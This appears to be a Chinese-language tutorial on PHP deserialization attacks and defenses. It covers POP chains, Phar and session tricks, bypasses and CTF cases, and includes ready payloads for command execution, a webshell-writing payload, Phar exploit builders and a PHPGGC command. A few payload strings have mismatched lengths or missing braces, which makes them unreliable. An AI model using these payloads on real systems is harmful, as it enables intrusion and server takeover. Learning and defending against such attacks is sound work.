免责声明:本文仅供学习交流使用,请勿用于非法用途。进行安全测试时,请确保已获得目标系统的合法授权。
目录
什么是PHP反序列化漏洞
PHP反序列化漏洞(PHP Deserialization Vulnerability) 是一种常见的Web安全漏洞,攻击者通过构造恶意的序列化数据,在目标系统反序列化时触发恶意代码执行,从而实现远程代码执行(RCE)、文件操作、SQL注入等攻击。
漏洞产生的根本原因
PHP反序列化漏洞产生的根本原因是:应用程序对用户可控的序列化数据没有进行充分验证,直接进行反序列化操作,且反序列化的类中存在危险的魔术方法或可被利用的方法链。
漏洞危害
| 危害类型 | 具体表现 |
|---|
| 远程代码执行 | 执行任意系统命令 |
| 文件操作 | 读取、写入、删除任意文件 |
| SQL注入 | 通过反序列化触发SQL注入 |
| 权限绕过 | 绕过身份认证机制 |
| 信息泄露 | 读取敏感配置文件 |
| 拒绝服务 | 构造特殊数据导致系统崩溃 |
常见触发场景
- 用户输入直接反序列化:
unserialize($_GET['data']) - Cookie反序列化:
unserialize($_COOKIE['user']) - Session反序列化:Session处理器配置不当
- Phar文件操作:通过文件函数触发Phar反序列化
- 缓存系统:Redis、Memcached等缓存数据反序列化
- 消息队列:RabbitMQ、Kafka等消息反序列化
PHP序列化基础
什么是序列化与反序列化
序列化(Serialization) 是将对象转换为可存储或传输的字符串格式的过程。 反序列化(Deserialization) 是将序列化后的字符串还原为对象的过程。
PHP序列化函数
1
2
3
4
5
6
7
| <?php
// 序列化
$serialized = serialize($object);
// 反序列化
$object = unserialize($serialized);
?>
|
PHP序列化格式详解
PHP序列化后的字符串具有特定的格式规范:
| 类型标识 | 含义 | 示例 |
|---|
a | 数组(array) | a:2:{i:0;s:4:"test";i:1;i:123;} |
b | 布尔值(boolean) | b:1; (true), b:0; (false) |
d | 浮点数(double) | d:3.14; |
i | 整数(integer) | i:123; |
s | 字符串(string) | s:4:"test"; |
O | 对象(object) | O:4:"User":1:{s:4:"name";s:5:"admin";} |
N | NULL | N; |
C | 自定义序列化(Serializable接口) | C:4:"Test":6:{a:0:{}} |
序列化示例
1
2
3
4
5
6
7
8
9
10
| <?php
class User {
public $name = "admin";
private $password = "secret";
protected $age = 25;
}
$user = new User();
echo serialize($user);
?>
|
输出结果:
1
| O:4:"User":3:{s:4:"name";s:5:"admin";s:14:"Userpassword";s:6:"secret";s:6:"*age";i:25;}
|
属性修饰符的序列化表现
1
2
3
4
5
6
7
| <?php
class Test {
public $pub = "public"; // s:3:"pub"
private $pri = "private"; // s:11:"Testpri" (类名+属性名)
protected $pro = "protected"; // s:6:"*pro" (*+属性名)
}
?>
|
注意:
- public属性:直接存储属性名
- private属性:存储为
\x00类名\x00属性名 - protected属性:存储为
\x00*\x00属性名
漏洞原理
基本漏洞示例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| <?php
class Vulnerable {
public $cmd;
function __destruct() {
// 危险操作:执行系统命令
system($this->cmd);
}
}
// 用户可控的输入
$data = $_GET['data'];
$user = unserialize($data);
?>
|
攻击Payload:
1
| O:10:"Vulnerable":1:{s:3:"cmd";s:6:"whoami";}
|
当对象被销毁时,__destruct() 方法会自动执行 system("whoami")。
攻击流程
1
| 寻找反序列化入口 → 寻找可利用的类/方法 → 构造恶意序列化数据 → 触发反序列化 → 执行恶意代码
|
漏洞代码特征
危险代码模式1:直接反序列化用户输入
1
2
3
4
| <?php
$data = $_POST['data'];
$obj = unserialize($data); // 危险!
?>
|
危险代码模式2:不安全的魔术方法
1
2
3
4
5
6
7
8
9
10
11
| <?php
class Dangerous {
function __destruct() {
file_put_contents($this->file, $this->content);
}
function __wakeup() {
eval($this->code);
}
}
?>
|
危险代码模式3:存在方法链的类
1
2
3
4
5
6
7
8
9
| <?php
class Chain {
public $obj;
function __toString() {
return $this->obj->getValue();
}
}
?>
|
PHP魔术方法
PHP提供了一系列魔术方法,在特定情况下会自动调用,这些方法往往是反序列化漏洞的利用点。
常用魔术方法一览
| 魔术方法 | 触发时机 | 利用场景 |
|---|
__construct() | 创建对象时 | 一般不用于反序列化攻击 |
__destruct() | 对象销毁时 | 最常用,用于执行恶意代码 |
__wakeup() | 反序列化时 | 用于初始化,可绕过或利用 |
__toString() | 对象被当作字符串时 | 用于触发其他方法 |
__call() | 调用不存在的方法时 | 方法链构造 |
__get() | 访问不存在的属性时 | 属性链构造 |
__set() | 设置不存在的属性时 | 属性链构造 |
__invoke() | 对象被当作函数调用时 | 函数调用链 |
__sleep() | 序列化时 | 控制序列化行为 |
__unserialize() | 反序列化时(PHP 7.4+) | 替代__wakeup |
__destruct() 利用示例
1
2
3
4
5
6
7
8
9
10
11
12
| <?php
class FileDeleter {
public $filename;
function __destruct() {
unlink($this->filename); // 删除文件
}
}
// 攻击者可以删除任意文件
$payload = 'O:11:"FileDeleter":1:{s:8:"filename";s:9:"index.php";}';
?>
|
__wakeup() 利用示例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| <?php
class Logger {
public $logfile;
public $logdata;
function __wakeup() {
// 反序列化时自动写入日志
file_put_contents($this->logfile, $this->logdata);
}
}
// 可以写入WebShell
$payload = 'O:6:"Logger":2:{s:7:"logfile";s:9:"shell.php";s:7:"logdata";s:25:"<?php @eval($_POST[1]);?>";';
?>
|
__toString() 利用示例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| <?php
class User {
public $name;
function __toString() {
return "User: " . $this->name;
}
}
class Query {
public $user;
function getUser() {
// 触发__toString()
$sql = "SELECT * FROM users WHERE name = '" . $this->user . "'";
return $sql;
}
}
// 构造POP链
$user = new User();
$user->name = "admin' OR '1'='1";
$query = new Query();
$query->user = $user;
echo serialize($query);
?>
|
__call() 利用示例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| <?php
class Evil {
public $func;
public $args;
function __call($method, $args) {
call_user_func_array($this->func, $this->args);
}
}
class Normal {
public $evil;
function doSomething() {
// 调用不存在的方法触发__call()
$this->evil->nonExistentMethod();
}
}
?>
|
漏洞类型
1. 普通反序列化漏洞
最简单的反序列化漏洞,直接利用单个类中的危险魔术方法。
1
2
3
4
5
6
7
8
9
10
11
12
| <?php
class SimpleRCE {
public $cmd;
function __destruct() {
system($this->cmd);
}
}
$data = $_GET['data'];
unserialize($data);
?>
|
Payload:
1
| O:9:"SimpleRCE":1:{s:3:"cmd";s:6:"whoami";}
|
2. POP链攻击(Property Oriented Programming)
当单个类无法直接利用时,通过构造多个类之间的调用链来实现攻击。
POP链构造原理
1
| 起点(__destruct/__wakeup) → 中间类A → 中间类B → 终点(危险函数)
|
POP链示例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
| <?php
// 起点类
class Start {
public $next;
function __destruct() {
$this->next->process();
}
}
// 中间类
class Middle {
public $func;
public $arg;
function process() {
call_user_func($this->func, $this->arg);
}
}
// 构造POP链
$middle = new Middle();
$middle->func = "system";
$middle->arg = "whoami";
$start = new Start();
$start->next = $middle;
echo serialize($start);
?>
|
生成的Payload:
1
| O:5:"Start":1:{s:4:"next";O:6:"Middle":2:{s:4:"func";s:6:"system";s:3:"arg";s:6:"whoami";}}
|
3. Phar反序列化
Phar(PHP Archive)文件在解析时会自动反序列化其metadata,即使不使用 unserialize() 函数,通过文件操作函数也能触发反序列化。
受影响的函数
| 函数类别 | 具体函数 |
|---|
| 文件操作 | file_exists(), file_get_contents(), fopen() |
| 文件属性 | filesize(), filemtime(), fileperms() |
| 目录操作 | is_dir(), is_file(), is_link() |
| 图片处理 | getimagesize(), exif_read_data() |
| 其他 | unlink(), copy(), rename(), stat() |
Phar文件结构
1
2
3
4
5
| Phar文件结构:
├── stub(Phar文件头)
├── manifest(文件清单,包含序列化的metadata)
├── contents(文件内容)
└── signature(签名)
|
Phar反序列化利用代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| <?php
// 1. 创建恶意Phar文件
class Evil {
public $cmd = "whoami";
function __destruct() {
system($this->cmd);
}
}
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(new Evil()); // 存储序列化对象
$phar->addFromString("test.txt", "content");
$phar->stopBuffering();
// 2. 触发反序列化(通过文件函数)
file_exists("phar://test.phar"); // 触发反序列化
?>
|
4. Session反序列化漏洞
当PHP的Session处理器配置不当时,可能导致Session数据的反序列化漏洞。
漏洞场景
1
2
3
4
5
6
7
8
9
10
11
12
| <?php
// php.ini配置
// session.serialize_handler = php_serialize
// 但应用程序使用 php 处理器读取
// 写入Session(使用php_serialize处理器)
$_SESSION['data'] = '|O:4:"Evil":1:{s:3:"cmd";s:6:"whoami";}';
// 实际存储:a:1:{s:4:"data";s:43:"|O:4:"Evil":1:{s:3:"cmd";s:6:"whoami";}'";}
// 读取Session(使用php处理器)
// php处理器以|作为分隔符,会将后半部分当作对象反序列化
?>
|
Session处理器类型
| 处理器 | 说明 |
|---|
php | 使用 | 分隔键值,值是序列化格式 |
php_serialize | 使用serialize()序列化整个数组 |
php_binary | 二进制格式,使用NULL分隔 |
wddx | 使用WDDX格式(如果安装) |
5. 其他类型
SSRF结合反序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
| <?php
class SSRF {
public $url;
function __destruct() {
$ch = curl_init($this->url);
curl_exec($ch);
}
}
// 可以发起任意HTTP请求
$payload = 'O:4:"SSRF":1:{s:3:"url";s:22:"http://internal/admin/";';
?>
|
XXE结合反序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
| <?php
class XXE {
public $xml;
function __wakeup() {
$dom = new DOMDocument();
$dom->loadXML($this->xml);
}
}
// 可以触发XXE攻击
$payload = 'O:3:"XXE":1:{s:3:"xml";s:100:"<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>";';
?>
|
POP链攻击
POP链构造方法论
步骤1:寻找起点
寻找具有 __destruct() 或 __wakeup() 方法的类,且这些方法会调用其他对象的方法或访问其他对象的属性。
1
2
3
4
5
6
7
8
9
10
| <?php
// 好的起点示例
class GoodStart {
public $obj;
function __destruct() {
$this->obj->clean(); // 调用其他对象的方法
}
}
?>
|
步骤2:寻找中间跳板
寻找可以控制调用流程的类:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
| <?php
// 跳板类1:__call魔术方法
class CallBridge {
public $func;
public $args;
function __call($method, $args) {
call_user_func_array($this->func, $this->args);
}
}
// 跳板类2:__toString魔术方法
class StringBridge {
public $obj;
function __toString() {
return $this->obj->getValue();
}
}
// 跳板类3:可控方法调用
class MethodBridge {
public $callback;
public $param;
function execute() {
return call_user_func($this->callback, $this->param);
}
}
?>
|
步骤3:寻找终点(危险函数)
1
2
3
4
5
6
7
8
9
| <?php
// 危险函数列表
$dangerous_functions = [
'system', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open', // 命令执行
'eval', 'assert', 'preg_replace', 'create_function', // 代码执行
'file_get_contents', 'file_put_contents', 'unlink', 'fopen', // 文件操作
'mysqli_query', 'PDO::query', // SQL操作
];
?>
|
常见框架POP链
Laravel框架
Laravel 5.4-5.8 存在已知的POP链:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
| <?php
// Laravel 5.8 POP链简化示例
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
public function __destruct() {
$this->events->dispatch($this->event);
}
}
}
namespace Illuminate\Events {
class Dispatcher {
protected $listeners;
public function dispatch($event) {
foreach ($this->listeners[$event] as $listener) {
call_user_func($listener);
}
}
}
}
?>
|
ThinkPHP框架
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| <?php
// ThinkPHP 5.0.x POP链
namespace think {
class Process {
private $status;
private $processInformation;
public function __destruct() {
$this->stop();
}
public function stop() {
// 利用链...
}
}
}
?>
|
Symfony框架
1
2
3
4
5
6
7
8
9
10
11
12
13
| <?php
// Symfony POP链示例
namespace Symfony\Component\Cache {
class CacheItem {
protected $key;
protected $value;
public function __destruct() {
$this->pool->save($this);
}
}
}
?>
|
完整POP链构造示例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
| <?php
// 目标:实现远程代码执行
// 起点类
class Start {
public $object;
function __destruct() {
$this->object->run();
}
}
// 中间类1
class Middle1 {
public $callback;
function run() {
call_user_func($this->callback);
}
}
// 中间类2 - 使用__call
class Middle2 {
public $func;
public $args = [];
function __call($method, $args) {
call_user_func_array($this->func, $this->args);
}
}
// 中间类3 - 使用__toString
class Middle3 {
public $obj;
function __toString() {
return $this->obj->execute();
}
}
// 终点类
class End {
public $cmd;
function execute() {
system($this->cmd);
return "done";
}
}
// 构造POP链
$end = new End();
$end->cmd = "whoami";
$middle3 = new Middle3();
$middle3->obj = $end;
$middle1 = new Middle1();
$middle1->callback = [$middle3, "nonExistentMethod"]; // 触发__call
$start = new Start();
$start->object = $middle1;
echo urlencode(serialize($start));
?>
|
利用技巧
1. Gadget构造技巧
利用文件操作类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| <?php
// 文件读取Gadget
class FileReader {
public $file = "/etc/passwd";
function __destruct() {
echo file_get_contents($this->file);
}
}
// 文件写入Gadget(WebShell)
class FileWriter {
public $file = "shell.php";
public $content = "<?php @eval($_POST[1]);?>";
function __destruct() {
file_put_contents($this->file, $this->content);
}
}
?>
|
利用数据库操作类
1
2
3
4
5
6
7
8
9
10
11
12
| <?php
class SQLInjector {
public $query = "SELECT * FROM users";
private $conn;
function __wakeup() {
$this->conn = new mysqli("localhost", "user", "pass", "db");
$result = $this->conn->query($this->query);
// 输出结果...
}
}
?>
|
2. 原生类利用
PHP内置的一些类也可以用于构造Gadget:
1
2
3
4
5
6
7
| <?php
// Error/Exception类用于XSS
$e = new Error("<script>alert(1)</script>");
echo urlencode(serialize($e));
// 反序列化后调用__toString()可能触发XSS
?>
|
3. 字符串操作类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| <?php
// 利用字符串操作触发其他操作
class StringManipulator {
public $str;
function __toString() {
return strtoupper($this->str);
}
}
class Trigger {
public $obj;
function __destruct() {
$sql = "SELECT * FROM users WHERE name = '$this->obj'";
// 执行查询...
}
}
?>
|
4. 数组操作技巧
1
2
3
4
5
6
7
8
9
10
11
12
13
| <?php
// 利用数组迭代触发操作
class ArrayIterator {
public $data;
function __destruct() {
foreach ($this->data as $key => $value) {
// 处理数据...
process($key, $value);
}
}
}
?>
|
5. 条件竞争利用
1
2
3
4
5
6
7
8
9
10
11
12
13
| <?php
// 利用fast-destruct绕过某些检查
class FastDestruct {
public $ref;
function __destruct() {
if (isset($this->ref)) {
// 执行操作
$this->ref->execute();
}
}
}
?>
|
绕过技巧
1. 属性数量绕过(CVE-2016-7124)
漏洞原理:当序列化字符串中表示的属性数量大于实际属性数量时,PHP会跳过 __wakeup() 方法的调用。
原始Payload:
1
| O:4:"Test":1:{s:4:"name";s:5:"admin";}
|
绕过Payload(属性数量+1):
1
| O:4:"Test":2:{s:4:"name";s:5:"admin";}
|
利用代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| <?php
class Test {
public $name;
function __wakeup() {
// 安全检查或初始化
$this->name = "filtered";
}
function __destruct() {
echo $this->name; // 输出: admin(绕过了__wakeup)
}
}
// 绕过__wakeup
$data = 'O:4:"Test":2:{s:4:"name";s:5:"admin";}';
unserialize($data);
?>
|
2. 加号绕过(对象引用)
利用 + 号绕过某些字符过滤:
1
| O:+4:"Test":1:{s:4:"name";s:5:"admin";}
|
3. 引用绕过
利用引用保持对象关系:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| <?php
class A {
public $b;
}
class B {
public $a;
}
$a = new A();
$b = new B();
$a->b = $b;
$b->a = &$a; // 引用
echo serialize([$a, $b]);
?>
|
4. 十六进制绕过
类名和属性名可以使用十六进制表示:
1
| O:4:"Test":1:{S:4:"\6e\61\6d\65";s:5:"admin";}
|
5. 大写S表示十六进制字符串
1
| O:4:"Test":1:{S:10:"\6e\61\6d\65";s:5:"admin";}
|
6. 嵌套数组绕过
1
2
3
4
| <?php
// 利用嵌套数组绕过某些检查
$payload = 'a:2:{i:0;O:4:"Evil":1:{s:3:"cmd";s:6:"whoami";}i:1;N;}';
?>
|
7. 字符编码绕过
1
2
3
4
| <?php
// 利用不同编码绕过过滤
$payload = urldecode('O%3A4%3A%22Test%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22admin%22%3B%7D');
?>
|
8. 伪协议绕过
1
2
3
4
5
6
7
8
9
10
| <?php
// 利用伪协议读取文件
class FileReader {
public $file = "php://filter/read=convert.base64-encode/resource=/etc/passwd";
function __destruct() {
include($this->file);
}
}
?>
|
9. Fast-Destruct技巧
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| <?php
// 利用引用计数快速触发__destruct
class FastDestruct {
public $value;
function __destruct() {
var_dump($this->value);
}
}
// 通过数组引用快速销毁
$a = [new FastDestruct(), "xxx"];
unset($a[0]);
?>
|
10. Session处理器绕过
1
2
3
4
5
6
7
8
9
| <?php
// 利用不同处理器之间的差异
ini_set('session.serialize_handler', 'php_serialize');
$_SESSION['data'] = '|O:4:"Evil":1:{s:3:"cmd";s:6:"whoami";}';
// 另一处使用php处理器读取
ini_set('session.serialize_handler', 'php');
session_start(); // 触发反序列化
?>
|
防御措施
1. 代码层面防御
永远不要反序列化用户输入
1
2
3
4
5
6
7
8
9
10
11
12
13
| <?php
// 危险的写法
$data = $_GET['data'];
$obj = unserialize($data);
// 安全的写法:使用JSON替代
$data = $_GET['data'];
$obj = json_decode($data, true);
// 或者使用白名单验证
$allowed_classes = ['User', 'Product'];
$obj = unserialize($data, ['allowed_classes' => $allowed_classes]);
?>
|
使用白名单限制反序列化类
1
2
3
4
5
6
7
8
9
10
| <?php
// PHP 7.0+ 支持allowed_classes选项
$data = $_POST['data'];
$obj = unserialize($data, [
'allowed_classes' => ['SafeClass1', 'SafeClass2']
]);
// 禁止所有类反序列化
$obj = unserialize($data, ['allowed_classes' => false]);
?>
|
实现安全的__wakeup方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| <?php
class SafeClass {
public $data;
function __wakeup() {
// 重置敏感属性
$this->internal_state = null;
// 验证数据完整性
if (!$this->validate()) {
throw new Exception("Invalid data");
}
}
private function validate() {
// 验证逻辑
return is_array($this->data);
}
}
?>
|
使用签名验证
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| <?php
class SignedData {
private $secret = "your-secret-key";
public function serialize($data) {
$serialized = serialize($data);
$signature = hash_hmac('sha256', $serialized, $this->secret);
return $signature . '|' . $serialized;
}
public function unserialize($data) {
list($signature, $serialized) = explode('|', $data, 2);
$expected = hash_hmac('sha256', $serialized, $this->secret);
if (!hash_equals($expected, $signature)) {
throw new Exception("Invalid signature");
}
return unserialize($serialized);
}
}
?>
|
2. 配置层面防御
禁用危险函数
1
2
| ; php.ini
disable_functions = system,exec,passthru,shell_exec,popen,proc_open,eval,assert
|
配置Session安全
1
2
3
4
5
6
| ; php.ini
session.serialize_handler = php_serialize
session.auto_start = 0
session.cookie_httponly = 1
session.cookie_secure = 1
session.use_strict_mode = 1
|
禁用Phar包装器
1
2
3
| ; php.ini
; 如果不需要Phar功能,可以禁用
; 注意:这可能会影响某些依赖Phar的应用
|
3. 架构层面防御
使用JSON替代序列化
1
2
3
4
5
6
7
8
| <?php
// 不安全的序列化
$cookie = base64_encode(serialize($user_data));
// 安全的JSON
$cookie = base64_encode(json_encode($user_data));
$user_data = json_decode(base64_decode($cookie), true);
?>
|
数据签名验证
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| <?php
function create_signed_cookie($data, $secret) {
$json = json_encode($data);
$signature = hash_hmac('sha256', $json, $secret);
return base64_encode($json) . '.' . $signature;
}
function verify_signed_cookie($cookie, $secret) {
list($encoded, $signature) = explode('.', $cookie);
$json = base64_decode($encoded);
$expected = hash_hmac('sha256', $json, $secret);
if (!hash_equals($expected, $signature)) {
return null;
}
return json_decode($json, true);
}
?>
|
4. 安全开发最佳实践
安全编码检查清单
- 永远不要反序列化用户可控的数据
- 如果必须反序列化,使用
allowed_classes 限制类 - 在
__wakeup() 中进行数据验证 - 使用JSON等安全格式替代序列化
- 对序列化数据进行签名验证
- 定期审计代码中的反序列化操作
- 使用静态分析工具检测潜在漏洞
安全测试工具
| 工具 | 用途 | 链接 |
|---|
| PHPGGC | PHP Gadget生成器 | https://github.com/ambionics/phpggc |
| ysoserial | Java反序列化工具(原理参考) | https://github.com/frohoff/ysoserial |
| PSPY | 进程监控 | https://github.com/DominicBreuker/pspy |
| Burp Suite | Web安全测试 | https://portswigger.net/burp |
实战案例
案例1:简单的CTF题目
题目代码:
1
2
3
4
5
6
7
8
9
10
11
12
| <?php
class Flag {
private $flag = "flag{this_is_secret}";
function __destruct() {
echo $this->flag;
}
}
$data = $_GET['data'];
unserialize($data);
?>
|
解题思路:
- 分析代码发现
Flag 类的 __destruct() 方法会输出 $flag 属性 - 构造Payload读取flag
Payload:
1
| O:4:"Flag":1:{s:10:"Flagflag";s:21:"flag{this_is_secret}";}
|
注意:private属性需要包含类名,格式为 %00类名%00属性名
案例2:POP链构造题目
题目代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| <?php
class Start {
public $obj;
function __destruct() {
$this->obj->action();
}
}
class Middle {
public $func;
public $arg;
function action() {
call_user_func($this->func, $this->arg);
}
}
$data = $_GET['data'];
unserialize($data);
?>
|
解题思路:
Start::__destruct() 调用 $this->obj->action()Middle::action() 执行 call_user_func($this->func, $this->arg)- 构造POP链执行任意命令
Payload生成代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| <?php
class Start {
public $obj;
}
class Middle {
public $func;
public $arg;
}
$middle = new Middle();
$middle->func = "system";
$middle->arg = "cat /flag";
$start = new Start();
$start->obj = $middle;
echo urlencode(serialize($start));
?>
|
案例3:Phar反序列化题目
题目代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| <?php
class Evil {
public $cmd;
function __destruct() {
system($this->cmd);
}
}
$filename = $_GET['file'];
if (file_exists($filename)) {
echo "File exists";
}
?>
|
解题思路:
- 发现
file_exists() 函数会触发Phar反序列化 - 创建包含恶意对象的Phar文件
- 通过
phar:// 协议触发
利用代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| <?php
class Evil {
public $cmd = "cat /flag";
}
@unlink("evil.phar");
$phar = new Phar("evil.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(new Evil());
$phar->addFromString("test.txt", "content");
$phar->stopBuffering();
// 重命名为图片绕过检查
rename("evil.phar", "evil.gif");
?>
|
触发Payload:
1
| ?file=phar://uploads/evil.gif
|
案例4:真实漏洞案例 - Laravel反序列化漏洞(CVE-2019-9081)
漏洞概述: Laravel框架在处理队列任务时存在反序列化漏洞,攻击者可以构造恶意Payload实现远程代码执行。
影响版本: Laravel 5.7.x < 5.7.28, 5.8.x < 5.8.12
利用工具:
1
2
| # 使用PHPGGC生成Payload
phpggc Laravel/RCE5 "system('whoami')" -b
|
防御建议:
- 及时更新框架版本
- 不要反序列化用户可控数据
- 使用签名验证队列任务
总结
攻击要点
- 寻找反序列化入口:
unserialize()、phar://、Session等 - 寻找可利用的类:包含危险魔术方法的类
- 构造POP链:通过多个类的方法链实现攻击
- 绕过安全机制:属性数量绕过、字符编码绕过等
防御要点
- 永远不要反序列化用户输入
- 使用JSON等安全格式替代
- 如果必须反序列化,使用
allowed_classes 限制 - 对序列化数据进行签名验证
- 定期审计代码中的反序列化操作
学习资源
参考资源
本文仅供学习交流使用,请勿用于非法用途。进行安全测试时,请确保已获得目标系统的合法授权。
本文最后更新于:2026年3月16日